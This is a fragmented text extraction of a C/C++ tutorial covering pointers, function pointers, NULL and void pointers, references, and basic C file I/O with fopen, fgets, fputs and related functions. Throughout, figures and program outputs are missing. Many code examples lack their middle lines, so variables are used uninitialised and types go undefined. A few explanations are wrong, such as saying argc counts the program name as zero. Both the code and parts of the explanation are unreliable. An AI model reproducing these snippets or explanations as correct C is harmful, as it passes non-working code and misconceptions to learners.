- Recall that char * refers to a NULL terminated string. So one common way is to declare a pointer to
a pointer to a string something like this:
Figure 8.14
- Taking this one stage further we can have several strings being pointed to by the integer pointers
(instead of char) as shown below.
www.tenouk.com Page 15 of 31
Figure 8.15
- Then, we can refer to the individual string by using ptptchs[0], ptptchs[1],…. and generally,
this is identical to declaring:
char **ptptchs
- Thus, programs that accept argument(s) through command line, the main() parameter list is declared
as follows:
- Where the argc (argument counter) and argv (argument vector) are equivalent to ptchs and
ptptchs respectively.
- For example, program that accept command line argument(s) such as echo:
- Here we have:
Figure 8.16
- So our main() function now has its own arguments. As a convention, these are the only arguments
main() accepts. Notice that the argv[0] is program name.
1. argc (argument counter) is the number of arguments, which we typed including the program
name that is equal to 0.
2. argv (argument vector) is an array of strings holding each command line argument including the
program name that is the first array element, argv[0].
- But some implementation will have another third parameter, envp/env, a pointer to an environment
variable as shown below. Environment variable in Operating System is an array of strings.
www.tenouk.com Page 16 of 31
int main(int argc, char *argv[], *envp[])
Output:
// pointer to pointer...
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int **theptr;
int *anotherptr;
system("pause");
return 0;
}
Output:
www.tenouk.com Page 17 of 31
8.10 Pointers and Function – Function Pointers
- Because of C functions have addresses we can use pointers to point to C functions. If we know the
function’s address then we can point to it, which provides another way to invoke it.
- Function pointers are pointer variables which point to functions. Function pointers can be declared,
assigned values and then used to access the functions they point to. The declaration is as the following:
int (*funptr)();
- Here, funptr is declared as a pointer to a function that returns int data type.
- The interpretation is the dereferenced value of funptr, that is (*funptr) followed by () which
indicates a function, which returns integer data type.
- The parentheses are essential in the declarations because of the operators’ precedence. The declaration
without the parentheses as the following:
int *funptr();
- Will declare a function funptr that returns an integer pointer that is not our intention in this case. In
C, the name of a function, used in an expression by itself, is a pointer to that function. For example, if
a function, testfun() is declared as follows:
- The name of this function, testfun is a pointer to that function. Then, we can assign them to pointer
variable funptr, something like this:
funptr = testfun;
- The function can now be accessed or called, by dereferencing the function pointer:
- Function pointers can be passed as parameters in function calls and can be returned as function values.
- Use of function pointers as parameters makes for flexible functions and programs. It’s common to use
typedefs with complicated types such as function pointers. You can use this typedef name to hide the
cumbersome syntax of function pointers. For example, after defining
www.tenouk.com Page 18 of 31
- The identifier funptr is now a synonym for the type of ‘a pointer to function takes no arguments,
returning int type’. This typedef would make declaring pointers such as testvar as shown below,
considerably easier:
funptr testvar;
- Another example, you can use this type in a sizeof() expression or as a function parameter as
shown below:
int somedisplay();
int main()
{
int (*func_ptr)();
int somedisplay()
{
printf("\n--Displaying some texts--\n");
return 0;
}
Output:
#include <stdio.h>
/* function prototypes */
void funct1(int);
void funct2(int);
int main(void)
{
FuncType *func_ptr;
www.tenouk.com Page 19 of 31
(*func_ptr)(100);
/* function definitions */
void funct1 (testarg)
{printf("funct1 got an argument of %d\n", testarg);}
Output:
func_ptr = funct1;
(*func_ptr)(100);
func_ptr = &funct1;
(*func_ptr)(100);
- Or
func_ptr = &funct1;
func_ptr(100);
- Or
func_ptr = funct1;
func_ptr(100);
- As we have discussed before, we can have an array of pointers to an int, float and string.
Similarly we can have an array of pointers to a function. It is illustrated in the following program
example.
/* functions' prototypes */
int fun1(int, double);
int fun2(int, double);
int fun3(int, double);
/* an array of a function pointers */
int (*p[3]) (int, double);
int main()
{
int i;
www.tenouk.com Page 20 of 31
}
/* functions' definition */
int fun1(int a, double b)
{
printf("a = %d b = %f", a, b);
return 0;
}
Output:
- In the above program we take an array of pointers to function int (*p[3]) (int, double).
Then, we store the addresses of three function fun1(), fun2(), fun3() in array (int *p[]). In
for loop we consecutively call each function using their addresses stored in array.
- For function and array, the only way an array can be passed to a function is by means of a pointer.
- Before this, an argument is a value that the calling program passes to a function. It can be int, a
float or any other simple data type, but it has to be a single numerical value.
- The argument can, therefore, be a single array element, but it cannot be an entire array.
- If an entire array needs to be passed to a function, then you must use a pointer.
- As said before, a pointer to an array is a single numeric value (the address of the array’s first element).
- Once the value of the pointer (memory address) is passed to the function, the function knows the
address of the array and can access the array elements using pointer notation.
- Then how does the function know the size of the array whose address it was passed?
- Remember! The value passed to a function is a pointer to the first array element. It could be the first of
10 elements or the first of 10000 or what ever the array size.
- The method used for letting a function knows an array’s size, is by passing the function the array size
as a simple type int argument.
- Thus the function receives two arguments:
- The following program example illustrates the use of a pointer to a function. It uses the function
prototype float (*ptr) (float, float) to specify the number and types of arguments. The
statement ptr = &minimum assigns the address of minimum() to ptr.
- The statement small = (*ptr)(x1, x2); calls the function pointed to by (*ptr), that is the
function minimum() which then returns the smaller of the two values.
// pointer to a function
#include <iostream.h>
#include <stdlib.h>
// function prototypes...
float minimum(float, float);
// (*ptr) is a pointer to function of type float
float (*ptr)(float, float);
void main()
{
float x1, x2, small;
www.tenouk.com Page 21 of 31
// Assigning address of minimum() function to ptr
ptr = minimum;
Output:
- The null pointer constant is guaranteed not to point to any real object. You can assign it to any pointer
variable since it has type void *. The preferred way to write a null pointer constant is with NULL.
- This NULL pointer when set, actually pointing to an address of 0x00000000 (32 bits) of memory.
The computer systems have reserved this zero address for NULL pointer and that is why it cannot be
used for other purposes.
- Since C functions can only return one variable, it is common practice for those which return a pointer
to set it to NULL if there’s a problem or no object pointed to yet so that we can avoid the stray pointer.
To play safe, you can also set a pointer to NULL to indicate that it’s no longer in use.
- Program example segment is illustrated below:
- You can also use 0 or (void *)0 as a null pointer constant, but using NULL is cleaner because it
makes the purpose of the constant more evident.
www.tenouk.com Page 22 of 31
- There are times when you write a function but do not know the data type of the returned value. When
this is the case, you can use a void pointer, a pointer of type void.
#include <stdio.h>
/* void pointer */
int func(void *thePtr);
int main()
{
/* assigning a string to the pointer */
char *theStr = "abcd1234";
func(theStr);
return 0;
}
Output:
- A pointer can only be copied from a pointer of the same type, or from a pointer to void. A pointer to
void is a generic pointer that can be used to hold an address, but cannot be 'deferenced', that means
you can’t use it with an asterisk before it to update a variable. It acts as a placeholder.
- void pointers are commonly used in the parameter list of built-in functions, such as memcpy() and
memset(). This is why you can use the same function to copy strings (pointer to character) and
structures (pointer to structure).
- On the other hand, when neither pointer is of type pointer to void, the only way to copy an address
from a pointer of a different type is to cast the second pointer to the type of the first pointer as shown
below:
char *bufptr;
struct record *recptr;
----------------------------------------------------------Have a break!------------------------------------------------------------
Function
Reference Syntax
Some description
The default function calling convention is to pass by value. The reference operator can be applied to parameters in a
function definition header to pass the argument by reference instead.
The reference types created with the & operator, create aliases for objects and let you pass arguments to functions by
reference.
When a variable x is passed by reference to a function, the matching formal argument in the function receives an
alias for x. Any changes to this alias in the function body are reflected in the value of x.
www.tenouk.com Page 23 of 31
When a variable x is passed by value to a function, the matching formal argument in the function receives a copy of
x. Any changes to this copy within the function body are not reflected in the value of x itself. The function also can
return a value that could be used later to change x, but the function cannot directly alter a parameter passed by value.
The reference operator is only valid when used in function definitions as applied to one or more of its parameters. It
can be used to obtain the address of a variable.
Study the following illustration and memorize it, you will remember what the pointer and reference are, forever :o).
So, the pointer ptr now is pointing to the data value 123, hold by variable var.
The & and * operators work together to reference and dereference pointers that are passed to functions.
Syntax
Use the reference operator to pass the address of a pointer to a function. The expression operand must be one of the
following:
• A function designator - an lvalue designating an object that is not a bit field and is not declared with a
register storage
• Class specifier
If the operand is of type type, the result is of type pointer to type. Consider the following generic example:
type *ptr;
ptr = &varA;
So it is ptr, or *ptr, that gets assigned. Once ptr has been initialized with the address &varA, it can be safely
dereferenced to give the lvalue *ptr.
www.tenouk.com Page 24 of 31
Indirection operator ( * )
Use the asterisk (*) in a variable expression to create pointers. And use the indirect operator in external functions to
get a pointer's value that was passed by reference. If the operand is of type pointer to function, the result is a
function designator.
If the operand is a pointer to an object, the result is an lvalue designating that object.
The result of indirection is undefined if either of the following occurs:
Other pointer declarations that you may find and can make you confused :o) are listed below.
* - is a pointer to
[] - is an array of
() - is a function returning
& - is an address of
-------------------------------------------------------Have a break!-------------------------------------------------------
Program Examples
Example#1
void main()
{
//declare and initialize two
//float variables
float var1 = 58.98;
float var2 = 70.44;
//declare a float pointer variable
float *ptr_var;
//prints 58.98
cout<<"\nThe first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";
//prints 70.44
www.tenouk.com Page 25 of 31
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}
Output:
- This program demonstrates how you can make a pointer point to different values in memory. The
program defines two floating-point values.
- A floating-point pointer points to the first variable var1 and is used in the cout statement. The same
pointer is then changed to point to the second variable var2.
Example#2
void main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);
cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
}
//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}
Output:
www.tenouk.com Page 26 of 31
- The program illustrates the use of pointers. The function main() invokes the function addcon()
with two arguments of type pointer, the first one gives the address of variable x and the second the
address of variable y.
- The addcon() function then uses the addresses received from the function main() to reference the
value of x and y. It then increments the values of x by 10 and decrement the value of y by 10 and
restore the results. After execution, x will have the value 14 and y the value -3.
Example#3
- This program outputs the values in the array nums, using a pointer rather than index/subscript. In the
first loop iteration, *(nums + dex) refers to the first value (given by index 0) in the array nums
(that is 92); in the second iteration, it refers to the second value (given by index 1) in the array
(that is 81), and so on.
void main()
{
//declare and initialize an array nums
int nums[] = {92,81,70,69,58};
Output:
Example#4
www.tenouk.com Page 27 of 31
- This program first reads an arbitrary number of temperature readings into the array temper using
pointers (rather than subscripts).
- Then, again using pointers, it computes the average temperature. The program terminates when the
value entered for temperature is 0.
void main()
{
float temper[40], sum = 0.0, *ptr;
int num, day = 0;
Output:
Example#5
void main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;
www.tenouk.com Page 28 of 31
printf("So many notations?????....\n");
//....separating code in multiple lines
printf("Array b printed with: \n"
"Array subscript notation\n");
Output:
void main()
{
//declare and initialize two
//float variables
double var1 = 58.98;
double var2 = 70.44;
//declare a float pointer variable
double *ptr_var;
//prints 58.98
cout<<"The first value is(var1) "<<*ptr_var;
www.tenouk.com Page 29 of 31
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";
//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}
Output:
int main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;
So many notations?????....
Array b printed with:
Array subscript notation
b[0] = 10
b[1] = 20
b[2] = 30
b[3] = 40
www.tenouk.com Page 30 of 31
*(b + 3) = 40
Pointer/offset notation
*(bptr + 0) = 10
*(bptr + 1) = 20
*(bptr + 2) = 30
*(bptr + 3) = 40
/////////////////funcref.cpp//////////////////
//Illustrates that function receives addresses
//of variables and then alters their contents
#include <iostream>
using namespace std;
int main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);
cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
return 0;
}
//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}
Initial value of x = 4
Initial value of y = 7
Then calls function addcon()
Add 10...
New value of x = 14
minus 10...
New value of y = -3
-------------------------------------------------------o0o -----------------------------------------------------
www.tenouk.com Page 31 of 31
MODULE 9
C FILE INPUT/OUTPUT
---------------------------------
MODULE 19
C++ FILE I/O
create this, delete that, write this, read that, close this, open that
Abilities
9.1 Introduction
- This Module actually shows you how to use the functions readily available in the C standard
library. Always remember this, using the standard library (ISO/IEC C, Single Unix specification or
glibc); you must know which functions to call and which header files provide these functions.
Then, you must be familiar with the proper prototype of the function call.
- The problems normally exist when dealing with the parameters passed to the functions and the
return value of the functions. We will explore some of the very nice and one of the heavily used
functions that available in the stdio.h header file, for our file processing and management tasks.
- Keep in mind that in C++ we will use member functions in class objects for file processing and
some of the advanced file processing examples will be discussed in C++ file I/O Module.
- Storage of data file as you have learned is temporary, all such data is lost when a program
terminates. That is why we have to save files on primary or secondary storage such as disks for
future usage.
- Besides that we also need to process data from external files that may be, located in secondary
storage as well as writing file during software installation and communicating with computer
devices such as floppy, hard disk, networking etc.
- And in socket programming (networking) you will also deal a lot with these open, close, read write
activities.
- File used for permanent retention of large amounts of data, stored online or offline in secondary
storage devices such as hard disk, CD-Rs/DVDs, tape backup or Network Attached Storage (NAS).
- Ultimately, all data items processed by a computer are just combinations of zeroes and ones.
- The smallest data item in computer can assume the value 0 or 1, called a bit (binary digit).
- But, human being prefer to work with data in the form of decimal digits (i.e. 0, 1, 2, 3, 4, 5, 6,
7…9), letters (i.e. A – Z and a – z) and special symbols (i.e. $, @, %, &, *, (,), -, +, ? and many
others) or in readable format.
- As you know, digits, letters and special symbols are referred to as characters, the keys on your
keyboard based on whether the ASCII, EBCDIC, Unicode or other proprietary characters set.
- Every character in a computer’s character set is represented as a pattern of 1’s and 0’s, called byte
(consists 8 bits-ASCII, EBCDIC), and for Unicode it uses multibyte or wide characters.
- Characters are composed of bits, and then fields (columns) are composed of characters.
- A field is a group of characters that conveys meaning such as a field representing a month of year.
- Data items processed by computer form a data hierarchy in which data items become larger and
more complex in structure as we progress from bits, to char (byte) to field and so on.
- A record (row or tuple) is composed of several fields.
- For example, in a payroll system, a record for a particular employee might consist of the following
fields:
0. Name.
0. Address.
www.tenouk.com Page 1 of 34
0. Security Social Number (SSN)/Passport Number
0. Salary.
0. Year to date earnings.
0. Overtime claims.
- For example, in a payroll file, records are usually placed in order by Social Security Number
(SSN). The first employee record in the file contains the lowest SSN number and subsequent
records contain increasingly higher SSN numbers.
- Most business may utilize many different files to store data, for example inventory files, payroll
files, employee files and many other types of files.
- For larger application, a group of related files may be called database.
- An application designed to create and manage databases is called a database management system
(DBMS). This DBMS term used here just for the data structure discussion, in database it may be
different. Popular type of DBMS is Relational DataBase Management System (RDBMS).
- A complete discussion of programming related to the databases can be found in data structure
books.
- Here we just want to have some basic knowledge about the construct of the data that the computer
processes, from bit to characters to fields and so on until we have a very readable data format
organized in a structured manner.
- In C, a file can refer to a disk file, a terminal, a printer, a tape drive, sockets or other related
devices. Hence, a file represents a concrete device with which you want to exchange information.
- Before you perform any communication to a file, you have to open the file. Then you need to close
the opened file after finish exchanging or processing information with it.
- The main file processing tasks may involve the opening, reading, writing and closing.
- The data flow of the transmission from your program to a file, or vice versa, is called a stream,
which is a series of bytes. Different with file, a stream is device-independent. All streams have the
same behavior including that used in sockets programming such as the Transmission Control
Protocol (TCP) and User Datagram Protocol (UDP) streams.
www.tenouk.com Page 2 of 34
- Hence, to perform I/O operations, you can read from or write to any type of files by simply
associating a stream to the file.
- There are two formats of streams. The first one is called the text stream, which consists of a
sequence of characters (e.g. ASCII data). Depending on the compilers, each character line in a text
stream may be terminated by a newline character. Text streams are used for textual data, which has
a consistent appearance from one system to another.
- The second format of stream is called the binary stream, which is still a series of bytes. The
content of an .exe file would be one example. It is primarily used for non-textual data, which is
required to keep the exact contents of the file.
- And for Unicode it is Unicode stream in text or binary modes.
- In C, a memory area, which is temporarily used to store data before it is sent to its destination, is
called a buffer. By using buffer, the operating system can improve efficiency by reducing the
number of accesses to I/O devices.
- By default all I/O streams are buffered. The buffered I/O is also called the high-level I/O and the
low-level I/O refers to the unbuffered I/O.
- Keep in mind that in order to grasp the basic concepts, this Module will deal mainly with
unformatted text files.
- Every OS have different file system for example ext2, ext3 (Linux), FAT, FAT32, NTFS, NTFS 5
(Windows). In general this discussion is biased to Linux file system.
- A file system is organized into a hierarchy of directories. For example:
- Or in Linux:
/testo1/testo2/testo3
- A directory is a file that contains information to associate other files with names; these associations
are called links (shortcuts) or directory entries. Actually, a directory only contains pointers to files,
not the files themselves but as users we usually just say "files in a directory".
- The name of a file contained in a directory entry is called a file name component.
- In general, a file name consists of a sequence of one or more such components, separated by the
slash character (/). So, a file name which is just one component, names a file with respect to its
directory. A file name with multiple components, names a directory, and then a file in that
directory, and so on.
- Some other documents, such as the POSIX standard, use the term pathname for what was call a file
name here and either filename or pathname component should refer to the same meaning in this
discussion.
www.tenouk.com Page 3 of 34
- A file name consists of file name components separated by slash (/) characters. On the systems
that the GNU C library supports, multiple successive / characters are equivalent to a single /
character.
- The process of determining what file a file name refers to is called file name resolution. This is
performed by examining the components that make up a file name in left-to-right order, and
locating each successive component in the directory, named by the previous component.
- Each of the files that are referenced as directories must actually exist, be directories instead of
regular files, and have the appropriate permissions to be accessible by the process; otherwise the file
name resolution fails.
- Unlike some other operating systems such as Windows, the Linux system doesn't have any built-in
support for file types (or extensions) or file versions as part of its file name prototype.
- Many programs and utilities use conventions for file names. For example, files containing C source
code usually have names suffixed with .c and executable files have .exe extension, but there is
nothing in the Linux file system itself that enforces this kind of convention.
- May be you can better differentiate those file types by using the –F option for ls directory listing
command (ls –F).
- If a file name begins with a /, the first component in the file name is located in the root directory of
the process (usually all processes on the system have the same root directory). In Windows it is
normally a C: drive. Such a file name is called an absolute file name.
- Otherwise, the first component in the file name is located in the current working directory and this
kind of file name is called a relative file name. For example, the Secondir and Thirdir should
be relative file name and Firstdir is an absolute filename.
/Firstdir/Secondir/Thirdir
- The file name components '.' ("dot") and '..' ("dot-dot") have special meanings.
C:\Firstdir>dir /a
Volume in drive C has no label.
Volume Serial Number is E8E3-18E2
Directory of C:\Firstdir
- Every directory has entries for these file name components. The file name component '.' refers to
the directory itself, while the file name component '..' refers to its parent directory (the directory
that contains the link for the directory in question). That is why if we want to change to the parent
directory of the current working directory we just issue the 'cd ..' command for Linux and
Windows.
- Then in Linux, to run a program named testrun in the current working directory we issue the
following command:
./testrun
- As a special case, '..' in the root directory refers to the root directory itself, since it has no parent;
thus '/..' is the same as /.
- Here are some examples of file names:
www.tenouk.com Page 4 of 34
- A file name that names a directory may optionally end in a /. You can specify a file name of / to
refer to the root directory, but the empty string is not a meaningful file name.
- If you want to refer to the current working directory, use a file name of '.' or './'. For example
to run a program named testprog that located in the current working directory we just prefixes
the ./ to the program name.
./testprog
- The type of the C data structure that represents a stream is called FILE rather than "stream". Since
most of the library functions deal with objects of type FILE *, sometimes the term file pointer is
also used to mean "stream". This leads to confusion over terminology in many reference materials
and books on C.
- The FILE type is declared in the stdio.h header file.
- FILE objects are allocated and managed internally by the I/O library functions.
- When the main function of your program is invoked, it already has three predefined streams open
and available for use. These represent the standard input and output channels that have been
established for the process. A process here means a running program.
- These streams are declared in the stdio.h header file and summarized in the following Table.
- In the Linux system, you can specify what files or processes correspond to these streams using the
pipe and redirection facilities provided by the shell.
- Most other operating systems provide similar mechanisms, but the details of how to use them can
vary.
- In the GNU C library, stdin, stdout, and stderr are normal variables which you can set just
like any others. For example, to redirect the standard output to a file, you could do:
fclose(stdout);
stdout = fopen ("standard-output-file", "w");
- However, in other systems stdin, stdout, and stderr are macros instead of variables that you
cannot assign to in the normal way. But you can use for example freopen() function to get the
effect of closing one and reopening it.
www.tenouk.com Page 5 of 34
- In POSIX systems, one file can have many names at the same time. All of the names are equally
real, and no one of them is preferred to the others. In Windows it is called shortcuts.
- To add a name to a file, use the link() function (The new name is also called a hard link to the
file). Creating a new link to a file does not copy the contents of the file; it simply makes a new
name by which the file can be known, in addition to the file's existing name or names.
- One file can have names in several directories, so the organization of the file system is not a strict
hierarchy or tree.
- In most implementations, it is not possible to have hard links to the same file in multiple file
systems. link() reports an error if you try to make a hard link to the file from another file system
when this cannot be done.
- The prototype for the link() function is declared in the header file unistd.h and is
summarized below.
- The Linux system for example, supports soft links or symbolic links. This is a kind of "file" that is
essentially a pointer to another file name.
- Unlike hard links, symbolic links can be made to directories or across file systems with no
restrictions. You can also make a symbolic link to a name which is not the name of any file.
(Opening this link will fail until a file by that name is created).
- Likewise, if the symbolic link points to an existing file which is later deleted, the symbolic link
continues to point to the same file name even though the name no longer names any file.
- The reason symbolic links work the way they do is that special things happen when you try to open
the link. The open() function realizes you have specified the name of a link, reads the file name
contained in the link, and opens that file name instead.
- The stat() function (used for file attributes information) likewise operates on the file that the
symbolic link points to, instead of on the link itself.
- By contrast, other operations such as deleting or renaming the file operate on the link itself. The
functions readlink() and lstat() also refrain from following symbolic links, because their
purpose is to obtain information about the link.
- link(), the function that makes a hard link, does too. It makes a hard link to the symbolic link,
which one rarely wants.
- Some systems have for some functions operating on files have a limit on how many symbolic links
are allowed when resolving a path name. The limit if exists is published in the sys/param.h
header file.
- The following lists functions and macros used for links.
int MAXSYMLINKS
The macro MAXSYMLINKS specifies how many symlinks some function will follow before
returning ELOOP. Not all functions behave the same and this value is not the same as a
returned for _SC_SYMLOOP by sysconf. In fact, the sysconf result can indicate that
www.tenouk.com Page 6 of 34
there is no fixed limit although MAXSYMLINKS exists and has a finite value.
- Prototypes for most of the functions listed in the following section are in unistd.h.
- In some situations it is desirable to resolve all the symbolic links to get the real name of a file where
no prefix, names a symbolic link which is followed and no filename in the path is '.' or '..'.
- This is for example desirable if files have to be compared in which case different names can refer to
the same inode. For Linux system we can use canonicalize_file_name() function for this
purpose.
- The UNIX standard includes a similar function which differs from
canonicalize_file_name() in that the user has to provide the buffer where the result is
placed in. It uses realpath() function.
- The advantage of using this function is that it is more widely available. The drawback is that it
reports failures for long path on systems which have no limits on the file name length.
- Before we dive into the details, take note that the program examples presented here just for basic
file I/O that applies to DOS and Linux.
- For Windows, you have to study the Win32 programming that provides specifics file I/O and other
related functions. Here we do not discuss in details regarding the permission, right and
authorization such as using Discretionary Access Control List (DACL) and Security Access Control
List (SACL) implemented in Windows OS.
- Furthermore for DOS type OS also, Microsoft uses Microsoft C (C Runtime – CRT). Nevertheless
the concepts still apply to any implementation.
- As explained before, in C, a FILE structure is a file control structure defined in the header file
stdio.h. A pointer of type FILE is called a file pointer, which references a disk file.
- A file pointer is used by stream to conduct the operation of the I/O functions. For instance, the
following declaration defines a file pointer called fpter:
FILE *fpter;
www.tenouk.com Page 7 of 34
- In the FILE structure there is a member, called the file position indicator, which points to the
position in a file where data will be read from or written to.
- The I/O function fopen() gives you the ability to open a file and associate a stream to the opened
file. You need to specify the way to open a file and the filename with the fopen() function. The
prototype is:
- Here, filename is a char pointer that references a string of a filename. The filename is given to
the file that is about to be opened by the fopen() function. mode points to another string that
specifies the way to open the file.
- The fopen() function returns a pointer of type FILE. If an error occurs during the procedure to
open a file, the fopen() function returns a null pointer.
- Table 9.8 shows the possible ways to open a file by various strings of modes.
- Note that, you might see people use the mode rb+ instead of r+b. These two strings are
equivalent. Similarly, wb+ is the same as w+b, ab+ is equivalent to a+b.
- The following program segment example try to open a file named test.txt, located in the same
folder as the main() program for reading.
FILE *fptr;
if((fptr = fopen("test.txt","r")) == NULL)
{
printf("Cannot open test.txt file.\n");
exit(1);
}
- Here, "r" is used to indicate that the text file is about to be opened for reading only. If an error
occurs such as the file is non-exist, when the fopen() function tries to open the file, the function
returns a null pointer.
- Then an error message is printed out by the printf() function and the program is aborted by
calling the exit() function with a nonzero value to handle the exception.
Mode Description
r Open a file for reading.
w Create a file for writing. If the file already exists, discard the current contents.
a Append, open or create a file for writing at the end of the file.
r+ Open a file for update (reading and writing).
w+ Create a file for update. If the file already exists, discard the current contents.
a+ Append, open or create a file for update, writing is done at the end of the file.
rb Opens an existing binary file for reading.
wb Creates a binary file for writing.
ab Opens an existing binary file for appending.
r+b Opens an existing binary file for reading or writing.
w+b Creates a binary file for reading or writing.
a+b Opens or creates a binary file for appending.
- After a disk file is read, written, or appended with some new data, you have to disassociate the file
from a specified stream by calling the fclose() function.
- The prototype for the fclose() function is:
- Here, stream is a file pointer that is associated with a stream to the opened file. If fclose()
closes a file successfully, it returns 0. Otherwise, the function returns EOF.
- By assuming the previous program segment successfully opened the test.txt for reading, then
to close the file pointer we should issue the following code:
fclose(fptr);
www.tenouk.com Page 8 of 34
- Normally, the fclose() function fails only when the disk is removed before the function is called
or there is no more space left on the disk.
- The end-of-file (EOF) combination key for different platform is shown in table 9.9. You have to
check your system documentation.
Table 9.9: End-of-file (EOF) key combinations for various computer systems.
- Since all high-level I/O operations are buffered, the fclose() function flushes data left in the
buffer to ensure that no data will be lost before it disassociates a specified stream with the opened
file.
- A file that is opened and associated with a stream has to be closed after the I/O operation.
Otherwise, the data saved in the file may be lost or some unpredictable errors might occur during
the next time file opening.
- Let try the following program example, which shows you how to open and close a text file and how
to check the returned file pointer value as well.
- First of all you have to create file named tkk1103.txt. This file must be in the same folder as
your running program, or you have to provide the full path string if you put it in other folder.
- By default program will try finding file in the same folder where the program is run.
- For example, if you run your C program in folder:
C:\BC5\Myproject\testing\
- Then, make sure you put the tkk1103.txt file in the same folder:
C:\BC5\Myproject\testing\tkk1103.txt
www.tenouk.com Page 9 of 34
40. }
40 lines: Output:
- Remember, for the "r" mode, you have to create and save tkk1103.txt file in the same folder
where the .exe file for this program resides or provide the full path strings in the program.
- This program shows you how to open a text file. fopen() function tries to open a text file with
the name contained by the string array filename for reading. The filename (stored in array) is
defined and initialized with to tkk1103.txt.
- If an error occurs when you try to open the text file, the fopen() function returns a null pointer.
Next line then prints a warning message, and assigns the value represented by the enum name
FAIL to the int variable reval. From the declaration of the enum data type, we know that the
value of FAIL is 1.
- However, if the fopen() function opens the text file successfully, the following statement:
- To
- The previous program example does not do anything with the text file, tkk1103.txt, except
open and close it. Some text has been saved in tkk1103.txt, so how can you read them from
the file?
- In C you can perform I/O operations in the following ways:
www.tenouk.com Page 10 of 34
0. Read or write one block of characters at a time.
- Among the C I/O functions, there is a pair of functions, fgetc() and fputc(), that can be used
to read from or write to a disk file one character at a time.
- The prototype for the fgetc() function is:
- The stream is the file pointer that is associated with a stream. The fgetc() function fetches the
next character from the stream specified by stream. The function then returns the value of an
int that is converted from the character.
- The prototype for the fputc() function is:
- c is an int value that represents a character. In fact, the int value is converted to an unsigned
char before being output. stream is the file pointer that is associated with a stream. The
fputc() function returns the character written if the function is successful, otherwise, it returns
EOF. After a character is written, the fputc() function advances the associated file pointer.
- Let explore the program example. Before that, you have to create two text files named,
testone.txt and testtwo.txt then save it in the same folder where the your main()
program is or provide the full path strings if the files is in another folder. Then for file
testtwo.txt, write the following texts and save it
- Then, if you run the program with no error, modify the content of the testtwo.txt, recompile
and rerun the program. The displaying texts and the content of testone.txt also will change.
- Next check also the content of testone.txt file, the content should be same as testtwo.txt
file and the texts displayed on your screen.
www.tenouk.com Page 11 of 34
27. //if opening filename1 for writing is successful,
28. //test for opening for reading filename2, if fails...
29. else if ((fptr2 = fopen(filename2, "r")) == NULL)
30. {
31. printf("Problem, cannot open %s.\n", filename2);
32.
33. reval = FAIL;
34. }
35. //if successful opening for reading from filename2
36. //and writing to filename1...
37. else
38. {
39. //function call for reading and writing...
40. CharReadWrite(fptr2, fptr1);
41. //close both files...
42. if(fclose(fptr1)==0)
43. printf("%s closed successfully\n", filename1);
44. if(fclose(fptr2)==0)
45. printf("%s closed successfully\n", filename2);
46. }
47. //For Borland if compiled using its IDE…
48. system("pause");
49. return reval;
50. }
51.
52. //read write function definition
53. void CharReadWrite(FILE *fin, FILE *fout)
54. {
55. int c;
56. //if the end of file is reached, do...
57. while ((c = fgetc(fin)) != EOF)
58. {
59. //write to a file...
60. fputc(c, fout);
61. //display on the screen...
62. putchar(c);
63. }
64. printf("\n");
65. }
65 lines: Output:
- This program read one character from a file, writes the character to another file, and then display
the character on the screen.
- Besides reading or writing one character at a time, you can also read or write one character line at
time. There is a pair of C I/O functions, fgets() and fputs(), that allows you to do so.
- The prototype for the fgets() function is:
- s, references a character array that is used to store characters read from the opened file pointed to
by the file pointer stream. n specifies the maximum number of array elements. If it is successful,
the fgets() function returns the char pointers s. If EOF is encountered, the fgets() function
www.tenouk.com Page 12 of 34
returns a null pointer and leaves the array untouched. If an error occurs, the function returns a null
pointer, and the contents of the array are unknown.
- The fgets() function can read up to n-1 characters, and can append a null character after the last
character fetched, until a newline or an EOF is encountered.
- If a newline is encountered during the reading, the fgets() function includes the newline in the
array. This is different from what the gets() function does. The gets() function just replaces
the newline character with a null character.
- The prototype for the fputs() function is:
- s points to the array that contains the characters to be written to a file associated with the file
pointer stream. The const modifier indicates that the content of the array pointed to by s
cannot be changed. If it fails, the fputs() function returns a nonzero value, otherwise, it returns
zero.
- The character array must include a null character at the end as the terminator to the fputs()
function. Also, unlike the puts() function, the fputs() function does not insert a newline
character to the string written to a file.
- Let try a program example. First of all, create two text file named testhree.txt and
testfour.txt and put it under folder C:\. File testfour.txt should contain the following
texts:
www.tenouk.com Page 13 of 34
39. //close both files stream...
40. if(fclose(fptr1)==0)
41. printf("%s successfully closed.\n", filename1);
42. if(fclose(fptr2)==0)
43. printf("%s successfully closed.\n", filename2);
44. }
45. //For Borland screenshot
46. system("pause");
47. return reval;
48. }
49.
50. //function definition for line read, write…
51. void LineReadWrite(FILE *fin, FILE *fout)
52. {
53. //local variable...
54. char buff[MAX_LEN];
55. while(fgets(buff, MAX_LEN, fin) !=NULL)
56. {
57. //write to file...
58. fputs(buff, fout);
59. //write to screen...
60. printf("%s", buff);
61. }
62. }
62 lines: Output:
- In this program example, the text files are located in C:\ drive. The fgets() function is called
repeatedly in a while loop to read one line of characters at a time from the testfour.txt file,
until it reaches the end of the text file.
- In line 54, the array name buff and the maximum number of the array elements MAX_LEN are
